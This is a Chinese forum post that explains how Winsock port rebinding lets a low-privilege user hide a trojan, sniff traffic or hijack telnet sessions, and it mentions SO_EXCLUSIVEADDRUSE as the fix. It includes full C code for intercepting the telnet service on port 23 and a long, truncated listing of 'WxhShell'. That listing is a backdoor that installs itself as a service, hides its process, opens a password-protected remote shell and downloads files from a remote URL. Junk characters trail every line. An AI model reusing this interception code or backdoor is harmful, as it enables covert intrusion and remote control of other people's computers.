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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aYj3a;EmU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x(b&r g.-0  
 Uero!+_  
  saddr.sin_family = AF_INET; ao-C9|2>NU  
mG@Q}Y(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bY>o%LL-  
4UL-j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I$ mOy{/#  
Ew:JpMR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AN~1E@"  
`z=MI66Nl  
  这意味着什么?意味着可以进行如下的攻击: a|7V{pp=M  
+u=xBhZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;C"J5RA  
iuHG9#n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;%jt;Xv9  
7>ODaj   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;c>Yr ?^  
kcYR:;y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nlY ^  
THu a?,oyW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u%h<5WNh<  
_+;x 4K;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z{n=G  
r\Nn WS J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !X.N$0  
by06!-P0[  
  #include Ti)n(G9$  
  #include 0"QE,pLe4  
  #include Zka;}UL&Q  
  #include    g]ihwm~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cKfYkJ)A'  
  int main() m|7g{vHVV  
  { NFSPw` f  
  WORD wVersionRequested; V+Tj[:ok  
  DWORD ret; Ka{IueSs  
  WSADATA wsaData; R #ZDB]2  
  BOOL val; Yj"UD:p  
  SOCKADDR_IN saddr; pj )I4C)  
  SOCKADDR_IN scaddr; I0ie3ESdN  
  int err; cu"%>>,,  
  SOCKET s; m:41zoV  
  SOCKET sc; /d=$,q1  
  int caddsize; 3|?fGT;P  
  HANDLE mt; JIQzP?+?  
  DWORD tid;   O:x=yj%^  
  wVersionRequested = MAKEWORD( 2, 2 ); 8zGzn%^  
  err = WSAStartup( wVersionRequested, &wsaData ); YW}/C wB  
  if ( err != 0 ) { 95<:-?4C;W  
  printf("error!WSAStartup failed!\n"); RTU:J67E  
  return -1; S; c=6@"  
  } M)xK+f2_[  
  saddr.sin_family = AF_INET; )b7mzDp(  
   -(iJ<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p>zE/Pw~  
g<C})84y3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B 3h<K}  
  saddr.sin_port = htons(23); m,KY_1%M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;PHnv5 x@f  
  { M`<D Z<:<  
  printf("error!socket failed!\n"); -?(RoWv@X&  
  return -1; wLO/2V}/  
  } /0c&!OP  
  val = TRUE; _NkN3f5 1L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4J_%quxO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Rk=B;  
  { q38; w~H  
  printf("error!setsockopt failed!\n"); qb<gh D=j  
  return -1; s_[?(Ip{  
  } S3<v?tqLr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Xm4wuX"e=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Mm;)O'XDE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4(&'V+o  
d;^?6V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4[ra  
  { S'O0'5U@  
  ret=GetLastError(); fkG8,=  
  printf("error!bind failed!\n"); ,J^Op   
  return -1; /LD*8 a  
  } e)7)~g54  
  listen(s,2); cm3Y!p{p"  
  while(1) <(MFEIt  
  { &zp5do;m  
  caddsize = sizeof(scaddr); 3u^TJt)  
  //接受连接请求 op*+fJHD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }';&0p2Z  
  if(sc!=INVALID_SOCKET) kT1lOP-Bg  
  { -^5R51  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >guQY I@4,  
  if(mt==NULL) ah92<'ix  
  { H6O\U2+  
  printf("Thread Creat Failed!\n"); zaZ}:N/w(z  
  break; @}gdOaw  
  } n`,Q:  
  } kUt9'|9!  
  CloseHandle(mt); m&q;.|W  
  } 39j d}]e  
  closesocket(s); #r:`bQ0;  
  WSACleanup(); $ T4PC5.  
  return 0; .+|DN"PgJ  
  }   hLvv:C@  
  DWORD WINAPI ClientThread(LPVOID lpParam) Vk (bU=w  
  { 5dF=DCZ  
  SOCKET ss = (SOCKET)lpParam; ,7(/Il9  
  SOCKET sc; `O{Uz?#*x  
  unsigned char buf[4096]; <@A^C$g  
  SOCKADDR_IN saddr; "!tB";n  
  long num; Mb>XM7}PU  
  DWORD val; ="DgrH  
  DWORD ret; ttnXEF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3(:mRb}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?5Fj]Bk]  
  saddr.sin_family = AF_INET; 0Nu]N)H5<l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,&=`T 7i  
  saddr.sin_port = htons(23); x\rZoF.NQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [f0HUbPX  
  { }'W^Ki$  
  printf("error!socket failed!\n"); |DW'RopM  
  return -1; ]SL&x:/-  
  } 76b7-Nj"  
  val = 100; 1Tq$E[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )9r%% #  
  { 1Q5<6*QL"  
  ret = GetLastError(); dx}/#jMa  
  return -1; mz*z1`\7v\  
  } X$9QW3.M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |^Es6 .~  
  { 2M?lgh4"  
  ret = GetLastError(); .;b> T  
  return -1; uKy*N*}  
  } =T)2wcXBB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ib_Gy77Os  
  { X6,9D[Nw  
  printf("error!socket connect failed!\n"); v8Zg og)V  
  closesocket(sc); bJm0  
  closesocket(ss); ~ ""MeaM8[  
  return -1; q4i8Sp>  
  } j6vZ{Fx;w  
  while(1) {1aAm+  
  { #!jRY!2Vt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >!1f`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Rda1X~-g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fWyDWU  
  num = recv(ss,buf,4096,0); :dN35Y]a  
  if(num>0) !&O/7ywe  
  send(sc,buf,num,0); A#X.c=  
  else if(num==0) *BsDHq-F~  
  break; `M ygDG+u  
  num = recv(sc,buf,4096,0); &8_;:  
  if(num>0) zD^f%p ["#  
  send(ss,buf,num,0); nq f<NH3i  
  else if(num==0) k8e"5 he  
  break; IWqxT?*  
  } 41o!2(e$  
  closesocket(ss); ,6O9#1A&i  
  closesocket(sc); @/~k8M/  
  return 0 ; e6HlOGPVQH  
  } tR* W-%  
_]UDmn[C  
/]zib@i  
========================================================== 4~A#^5J  
6 ]PM!6  
下边附上一个代码,,WXhSHELL m5w9l"U]H  
9K46>_TyH  
========================================================== Cz r4 -#2  
MLBg_<  
#include "stdafx.h" kA%OF*%|6  
.k`*$1?73x  
#include <stdio.h> s2?,'es  
#include <string.h> `B\KS*Gya#  
#include <windows.h> R+K&<Rz  
#include <winsock2.h> x}<G!*3  
#include <winsvc.h> o:8S$F`O@  
#include <urlmon.h> xd fvme[  
X/-KkC  
#pragma comment (lib, "Ws2_32.lib") ZBR^[OXO  
#pragma comment (lib, "urlmon.lib") 3>9dJx4I  
#IaBl?}r^  
#define MAX_USER   100 // 最大客户端连接数 $Kz\ h#}  
#define BUF_SOCK   200 // sock buffer yp{F 8V 8  
#define KEY_BUFF   255 // 输入 buffer UD<^r]'x  
v?D kDnta  
#define REBOOT     0   // 重启 W(a'^ #xe  
#define SHUTDOWN   1   // 关机 62)lf2$1  
QP5:M!O<)  
#define DEF_PORT   5000 // 监听端口 xrVZxK:!  
S~rVRC"<xo  
#define REG_LEN     16   // 注册表键长度 aC yb-P  
#define SVC_LEN     80   // NT服务名长度 .;Utkf'I  
p (xD/E  
// 从dll定义API _jrA?pY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z"~6yF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,}IER  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]2\2/~l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 39T&c85  
ys[i`~$  
// wxhshell配置信息 |<3Q+EB^  
struct WSCFG { K;y\[2;}e,  
  int ws_port;         // 监听端口 OpbT63@L  
  char ws_passstr[REG_LEN]; // 口令  TXD^Do5^  
  int ws_autoins;       // 安装标记, 1=yes 0=no  %*5g<5  
  char ws_regname[REG_LEN]; // 注册表键名 _"!{7e`Z  
  char ws_svcname[REG_LEN]; // 服务名 ! jX+ox  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nhP~jJn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I "Q9W|J_&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ccN&h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /cL9 ?k;o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9S H<d)^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Gp ^ owr  
;h-G3>Il  
}; DtF![0w/  
=o{: -EKQF  
// default Wxhshell configuration 0(9I\j5`TT  
struct WSCFG wscfg={DEF_PORT, e(n2+S#N  
    "xuhuanlingzhe", RM^?&PM85  
    1, or!D  
    "Wxhshell", ?mYV\kDt\  
    "Wxhshell", j |'# 5H`  
            "WxhShell Service", @%G'U&R{  
    "Wrsky Windows CmdShell Service", D2TXOPH  
    "Please Input Your Password: ", SJ@8[n.x  
  1, yToT7 X7F7  
  "http://www.wrsky.com/wxhshell.exe", e1`)3-f  
  "Wxhshell.exe" +%e%UF@  
    }; h2/dhp  
U-~*5Dd  
// 消息定义模块 yA !3XUi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n^JUZ8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pzk[^z$C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MOp=9d+N~  
char *msg_ws_ext="\n\rExit."; @dE 3  
char *msg_ws_end="\n\rQuit."; dS3>q<J*a  
char *msg_ws_boot="\n\rReboot..."; o}mhy`}  
char *msg_ws_poff="\n\rShutdown..."; vbWJhj K0h  
char *msg_ws_down="\n\rSave to "; o]|oAN9  
lrmt)BLoh  
char *msg_ws_err="\n\rErr!"; f>s#Ngvc  
char *msg_ws_ok="\n\rOK!"; KMpDlit  
np`g cj#  
char ExeFile[MAX_PATH]; k5fH ;  
int nUser = 0; f0cYvL ]  
HANDLE handles[MAX_USER]; p-T~x$"c|  
int OsIsNt; m0BG9~p|  
de=5=>P7  
SERVICE_STATUS       serviceStatus; U5On-T5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g/U$!d_  
9{9#AI.G  
// 函数声明 }j5R@I6P  
int Install(void); [.#p  
int Uninstall(void); f gK2.;>  
int DownloadFile(char *sURL, SOCKET wsh); bG5^h  
int Boot(int flag); T.R>xd`9 "  
void HideProc(void); taWirq d9  
int GetOsVer(void); d739UhKC  
int Wxhshell(SOCKET wsl); rSF;Lp)}  
void TalkWithClient(void *cs); m0%iw1OsH%  
int CmdShell(SOCKET sock); r{R[[]p  
int StartFromService(void); w!B,kqTG  
int StartWxhshell(LPSTR lpCmdLine); )T.pjl  
M73VeV3DL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y'<uZl^aX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B c,"12  
]Efh(Gb]  
// 数据结构和表定义 +?"HTDBE||  
SERVICE_TABLE_ENTRY DispatchTable[] = #|{BGVp  
{ Q QsVIHA  
{wscfg.ws_svcname, NTServiceMain}, wL8bs- U  
{NULL, NULL} 5bF9I H  
}; ]689Q%D  
G_2gKkIK-  
// 自我安装 DGa#d_I  
int Install(void) ~J:$gu~`  
{ L;.VEz!  
  char svExeFile[MAX_PATH]; r/N[7 *i  
  HKEY key; tAb;/tM3I  
  strcpy(svExeFile,ExeFile); Njy9JX  
4DQ07w  
// 如果是win9x系统,修改注册表设为自启动 bK_0NrXP  
if(!OsIsNt) { ' D)1ka.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K)Df}fVOc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CU#L *kz  
  RegCloseKey(key); 27Kc -rcB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zK ' _e&*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3i]"#wK  
  RegCloseKey(key); $n=W2WJ6f  
  return 0; U,%s;  
    } ++Rdv0~  
  } M&|sR+$^  
} T=eT^?v  
else { ?VMi!-POE  
2|0Je^$|  
// 如果是NT以上系统,安装为系统服务 ;H7EB`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q5:0&:m$4$  
if (schSCManager!=0) %mK3N2N$  
{ 8~&F/C*  
  SC_HANDLE schService = CreateService l]a^"4L4`o  
  ( lF; ziF  
  schSCManager, =Q/w%8G  
  wscfg.ws_svcname, W;3 R;  
  wscfg.ws_svcdisp, Qag|nLoT  
  SERVICE_ALL_ACCESS, ;x!,g5q"q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E<D+)A  
  SERVICE_AUTO_START, u4Y6B ]Q  
  SERVICE_ERROR_NORMAL, )^jQkfL  
  svExeFile, O tXw/  
  NULL, 7%:??*"~  
  NULL, FSW3'  
  NULL, +?URVp  
  NULL, MAuM)8_P/|  
  NULL ppwd-^f3j  
  ); w$DG=!  
  if (schService!=0) ]yyU)V0Iu  
  { c0!Te'?  
  CloseServiceHandle(schService); ?Ia4H   
  CloseServiceHandle(schSCManager); Ux_EpC   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B8bvp:Ho|  
  strcat(svExeFile,wscfg.ws_svcname); iyA*J CD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4/*]`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bh=\  
  RegCloseKey(key); J>f /u:.  
  return 0; 3q'K5} _  
    } +O|_P`HBoI  
  } <ldid]o #  
  CloseServiceHandle(schSCManager); c+szU}(f6(  
} .Lr`j8  
} ^z[_U}N\}  
q1N4X7<_  
return 1; JiKImz  
} =1gDjF9|  
^K7q<X,  
// 自我卸载 keT?,YI  
int Uninstall(void) #[no~&E  
{  C#A@)>  
  HKEY key; 3M}AxE u  
'4J&Gpx  
if(!OsIsNt) { B*9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mBw2  
  RegDeleteValue(key,wscfg.ws_regname); umJay />  
  RegCloseKey(key); M.o?CX'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,$HHaoo g  
  RegDeleteValue(key,wscfg.ws_regname); f2uZK!:m  
  RegCloseKey(key); UqD5 A~w  
  return 0; fdd~e52f  
  } PLO\L W  
} "F&Tnhh4  
} LTg?5GwD\j  
else { \ua9thOG  
*Zc9yZl2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Rb{+Ki  
if (schSCManager!=0) 5/Ydv RB67  
{ 4qqF v?O[r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x2sN\tOh^  
  if (schService!=0) V^j3y`K  
  { 2;&mkc K'  
  if(DeleteService(schService)!=0) { ?2H{^\<(e  
  CloseServiceHandle(schService); 613/K`o  
  CloseServiceHandle(schSCManager); {]+ jL1  
  return 0; TAXd,z N  
  } F?!FD>L{`  
  CloseServiceHandle(schService); BfX%|CWh  
  } 0Wa#lkn$I  
  CloseServiceHandle(schSCManager); g;$E1U=R-E  
} ].LJt['%8  
} f&K}IM8& #  
Q]!6uA$A  
return 1; cL6 6gOEL  
} 5r'=O2AZX  
Sq?,C&LsA  
// 从指定url下载文件 EJO.'vQ  
int DownloadFile(char *sURL, SOCKET wsh) 4; ?1Kb#  
{ ?A|zRj{  
  HRESULT hr; D5=C^`$2  
char seps[]= "/"; fW(;   
char *token; *zJD$+Fo  
char *file; #]"/{Z  
char myURL[MAX_PATH]; 1Pu ,:Jt  
char myFILE[MAX_PATH]; Q?W r7  
,Yo: &>As  
strcpy(myURL,sURL); {PL,VY)Z  
  token=strtok(myURL,seps); BeAk 21xb  
  while(token!=NULL) SO7(K5H,  
  { fv:L\N1u  
    file=token; 3)dP7rmZ  
  token=strtok(NULL,seps); cvxIp#FbW  
  } ,&0Z]*  
`$H7KIG  
GetCurrentDirectory(MAX_PATH,myFILE); Xu6jHJ@x  
strcat(myFILE, "\\"); X z8$Xz,O  
strcat(myFILE, file); <|otZJ'2r  
  send(wsh,myFILE,strlen(myFILE),0); ! &y  
send(wsh,"...",3,0); JAN|aCzD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,Ie<'>hd  
  if(hr==S_OK) tzZ|S<e6=\  
return 0; 6!@0VI&P  
else tAaYL \~  
return 1; *8/VSs  
Lg8 ]dBXu  
} ma3Qi/  
61G|?Aax  
// 系统电源模块 -H4PRCDH  
int Boot(int flag) JW-|<CJ  
{ X!o@f$  
  HANDLE hToken; !!9{U%s  
  TOKEN_PRIVILEGES tkp; 8`a,D5U:  
S3;lKr  
  if(OsIsNt) { L+Eu d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9w zwY[{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !`Le`c  
    tkp.PrivilegeCount = 1; CK=ARh#|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vfb<o"BQk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @?m+Z"o|z  
if(flag==REBOOT) { `nKJR'QC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >;m{{nj  
  return 0; (:JjQ`i  
} 0Qt~K#mr/  
else { iW'_R{)T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  -W9gH  
  return 0; 9g96 d-  
} m.!wsw  
  } jBS'g{y-!  
  else { Ny]lvgu9X  
if(flag==REBOOT) { r-*l1([eW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %Sc=_%6  
  return 0; gUspGsfr  
} N_0pO<<cs  
else { ::ri3Tu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O6/xPeak  
  return 0; c+H)ed>  
} wBLsz/  
} ZH!;z-R  
}H5/3be  
return 1; Y4`QK+~fH  
} V>AS%lXj  
JfSdUWxT  
// win9x进程隐藏模块 {b[tA, >  
void HideProc(void) hw*1gm  
{ L -YNz0A  
L(;.n>/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .3(;9};  
  if ( hKernel != NULL ) =Aj"j-r&{  
  { %oR>Uo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M= atls  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u"\=^F  
    FreeLibrary(hKernel); Xty# vI  
  }  UPR/XQ  
%iX/y  
return; h>| g2h  
} N70zjy4?fL  
CGkI\E  
// 获取操作系统版本 'P,,<nkr|  
int GetOsVer(void) ?/)lnj)e{  
{ u|T%Xy=LU  
  OSVERSIONINFO winfo; Fk aXA.JE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v:?o3 S  
  GetVersionEx(&winfo); 9Eu #lV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]r!QmWw~V  
  return 1; 6A.P6DW  
  else {79qtq%W{  
  return 0; * O5:  
} vn``0!FX  
(m/aV  
// 客户端句柄模块 =D}4X1l  
int Wxhshell(SOCKET wsl) ~x\Cmu9`  
{ Z~_8P  
  SOCKET wsh; svqvG7  
  struct sockaddr_in client; Vli3>K&  
  DWORD myID; -( (Z@T1k  
O <>#>[  
  while(nUser<MAX_USER) s+'XQs^{aj  
{ !:dL~n  
  int nSize=sizeof(client); b#A(*a_gN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Qne0kB5m  
  if(wsh==INVALID_SOCKET) return 1; IyOpju)?  
@R UP$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UDM yyVd  
if(handles[nUser]==0) 4j{oaey  
  closesocket(wsh); y #69|G  
else 6Etss!_  
  nUser++; lJUy;yp_+  
  } \1]rlzXGUT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &u=8r*  
BW>5?0E[4(  
  return 0; >IBTBh_ka  
} UP]1(S?  
nGns}\!7'  
// 关闭 socket GyuV %  
void CloseIt(SOCKET wsh) =&N$Vqn  
{ -<PC"B  
closesocket(wsh); Vha'e3 o!  
nUser--; 4T%cTH:.9N  
ExitThread(0); 3(C :X1  
} _F^$aZt?e  
X>{p}vtvf>  
// 客户端请求句柄 R5gado  
void TalkWithClient(void *cs) 6< >SHw  
{ *%I[ ke *  
4~Dax)  
  SOCKET wsh=(SOCKET)cs; `zY!`G  
  char pwd[SVC_LEN]; DRp&IP<  
  char cmd[KEY_BUFF]; F3Ap1-%z  
char chr[1]; OT;cfkf7  
int i,j; -zTEL (r  
BJgDo  
  while (nUser < MAX_USER) { E23w *']  
NHAH#7]M&1  
if(wscfg.ws_passstr) { bNXAU\M^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iE=P'"I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ewym 1}o  
  //ZeroMemory(pwd,KEY_BUFF); |by@ :@*y  
      i=0; /p 5=i  
  while(i<SVC_LEN) { vf N#NY6  
&wb9_? ir-  
  // 设置超时 p/3BD&6  
  fd_set FdRead; [Y$V\h=V  
  struct timeval TimeOut; d/lffNS=  
  FD_ZERO(&FdRead); R:f7LRF/\  
  FD_SET(wsh,&FdRead); 9T?64t<Ju  
  TimeOut.tv_sec=8; 5uttv:@=  
  TimeOut.tv_usec=0; 'bPk'pj9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wFb@1ae\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2f^-~dz  
'#<> "|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y&g&n o_  
  pwd=chr[0]; drIK(u\_  
  if(chr[0]==0xd || chr[0]==0xa) { l2s{~IC  
  pwd=0; pC^2Rzf  
  break; 'W(xgOP1  
  } (A uPZ  
  i++; n/AW?'  
    } e3g_At\  
rREzM)GA  
  // 如果是非法用户,关闭 socket 7*;^UqGjz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C\A49q  
} ,T{oy:rB  
a,cC!   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~&KX-AC@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '?8Tx&}U8  
}[v~&  
while(1) { 2( _=SfQ  
-njQc:4W,-  
  ZeroMemory(cmd,KEY_BUFF); ;ctU&`  
u7#z^r  
      // 自动支持客户端 telnet标准   3~<}bee5|q  
  j=0; i. M2E$b|  
  while(j<KEY_BUFF) { G0/>8_Q>Nr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); akCIa'>t  
  cmd[j]=chr[0]; (u9Zk~)F  
  if(chr[0]==0xa || chr[0]==0xd) { ($S Lb6  
  cmd[j]=0; 7E~4)k0<  
  break; ?:/|d\,7@  
  } <m]wi7  
  j++; CV3DMA  
    } W&KM/9d  
S(w\ZC  
  // 下载文件 !W~<q{VTs  
  if(strstr(cmd,"http://")) { sOz sY7z3Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I7zn>^0}  
  if(DownloadFile(cmd,wsh)) ) Fx ?%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3e 73l  
  else uy9!qk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Uh 1l.O  
  } ="dDA/,$VS  
  else { c&m9)r~zP  
Jn#K0( FQ  
    switch(cmd[0]) { ] D6|o5  
  lkwh'@s.  
  // 帮助 k!owl+a   
  case '?': { ;{Jb6'K1h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^mfjn-=3  
    break; <[<247%  
  } y 1nU{Sc@  
  // 安装 #KE;=$(S  
  case 'i': { hy!6g n  
    if(Install()) l"5y?jT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); no|Gq>Xp  
    else |[LE9Lq/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jyQVSQ s  
    break; K(OaW)j  
    } Y 1y E  
  // 卸载 l#xw.2bo  
  case 'r': { Xm@aYNV  
    if(Uninstall()) }N]!0Ka  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eEP( ).  
    else SH=:p^J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =~J fVozU  
    break; JO}?.4B  
    } iaRR5D-  
  // 显示 wxhshell 所在路径 %w:'!X><  
  case 'p': { @n@g)`  
    char svExeFile[MAX_PATH]; VYigxhP7  
    strcpy(svExeFile,"\n\r"); _l T0H u  
      strcat(svExeFile,ExeFile); {:)vwUe{  
        send(wsh,svExeFile,strlen(svExeFile),0); 3]`mQm E  
    break; /buWAX 1  
    } 7Ud'd<  
  // 重启 fnOIv#  
  case 'b': { ]/44Ygz/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iRs V#s  
    if(Boot(REBOOT)) Bc[6*Y,%T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M2p<u-6 "  
    else { choL %g}  
    closesocket(wsh); nq@5j0fK  
    ExitThread(0); 5#!ogKQ(i  
    } [%~^kq=|  
    break; [gZDQcU  
    } 2fbU-9Rfn  
  // 关机 WHk/$7_"i  
  case 'd': { G"> 0]LQ  
